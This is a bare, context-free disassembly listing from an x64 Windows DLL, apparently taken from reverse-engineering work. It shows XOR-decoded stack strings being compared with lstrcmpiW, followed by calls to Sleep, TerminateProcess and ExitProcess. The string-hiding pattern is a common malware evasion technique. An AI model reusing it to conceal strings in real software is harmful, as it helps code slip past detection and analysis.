call qword [sym.imp.KERNEL32.DLL_TerminateProcess]
mov rbx, qword [rbx + 0x10]
test rbx, rbx
jne 0x18000579f
movabs rcx, 0x9ead7275034fe1de
lea rdx, [rsp + 0x20]
mov qword [rsp + 0x38], rcx
movabs rax, 0xb1f5694e331e1997
mov qword [rsp + 0x70], rax
movabs rax, 0x6bc1629f3926102c
mov qword [rsp + 0x78], rax
movabs rax, 0xc935ac473cdbee1
mov qword [rbp - 0x80], rax
movabs rax, 0xb1866927337119c7
mov qword [rsp + 0x20], rax
movabs rax, 0x6b9162bf39481043
mov qword [rsp + 0x28], rax
movabs rax, 0xcf25aa073a3be80
movups xmm0, xmmword [rsp + 0x20]
mov qword [rsp + 0x30], rax
movups xmm1, xmmword [rsp + 0x30]
mov qword [rbp - 0x78], rcx
lea rcx, [0x180035208]
pxor xmm0, xmmword [rsp + 0x70]
pxor xmm1, xmmword [rbp - 0x80]
movdqa xmmword [rsp + 0x30], xmm1
movdqa xmmword [rsp + 0x20], xmm0
call qword [sym.imp.KERNEL32.DLL_lstrcmpiW]
test eax, eax
jne 0x180005877
mov rcx, rdi
call qword [rdi + 0x18]
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.DLL_Sleep]
xor ecx, ecx
call qword [sym.imp.KERNEL32.DLL_ExitProcess]
lea rbx, [0x1800347b0]
mov rcx, rbx
call fcn.180017d7c
mov rcx, rbx
call fcn.1800179d0
mov rcx, rbx
call fcn.180017944
mov rcx, rbx
call fcn.180017fc8
mov rcx, rdi
call qword [rdi + 0x18]
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.DLL_Sleep]
mov ecx, 0x7b
call qword [sym.imp.KERNEL32.DLL_ExitProcess]